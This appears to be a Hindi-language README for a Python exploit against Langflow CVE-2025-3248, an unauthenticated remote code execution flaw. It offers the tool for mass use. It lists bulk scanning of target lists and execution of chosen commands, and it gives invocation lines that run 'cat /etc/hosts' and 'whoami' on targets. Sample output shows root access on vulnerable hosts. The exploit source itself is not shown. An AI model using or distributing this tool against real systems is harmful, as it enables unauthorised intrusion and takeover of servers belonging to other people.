Langflow CVE-2025-3248 शोषण

CVE-2025-3248 के लिए Python-आधारित शोषण, जो दूरस्थ और अप्रमाणित हमलावरों को तैयार HTTP अनुरोधों के माध्यम से कमजोर Langflow इंस्टेंस पर मनमाना कोड निष्पादित करने की अनुमति देता है।

विशेषताएँ

• फ़ाइल से एकल URL या बल्क स्कैनिंग
• स्वचालित कमजोरी का पता लगाना
• कमांड निष्पादन क्षमता
• समय जानकारी के साथ विस्तृत आउटपुट
• कमजोर और गैर-कमजोर लक्ष्यों के लिए अलग-अलग फ़ाइलों में सहेजे गए परिणाम
• स्कैन प्रदर्शन के लिए बेंचमार्क आँकड़े

उपयोग

एकल URL स्कैन

python CVE-2025-3248.py http://target-url -c "cat /etc/hosts"

फ़ाइल से बल्क स्कैन

python CVE-2025-3248.py -f targets.txt

कस्टम कमांड निष्पादन

python CVE-2025-3248.py -f targets.txt -c "whoami"

उदाहरण आउटपुट

[*] Progress: 1/10 URLs checked
[*] Checking https://example.com
[+] Vulnerable - Command Output:
uid=0(root) gid=0(root) groups=0(root)
--------------------------------------------------

[*] Scan Summary:
[+] Total URLs checked: 10
[+] Vulnerable URLs: 3
[+] Not Vulnerable URLs: 7
[*] Total scan time: 25.34s
[*] Results saved to files with timestamp

स्रोत: https://github.com/verylazytech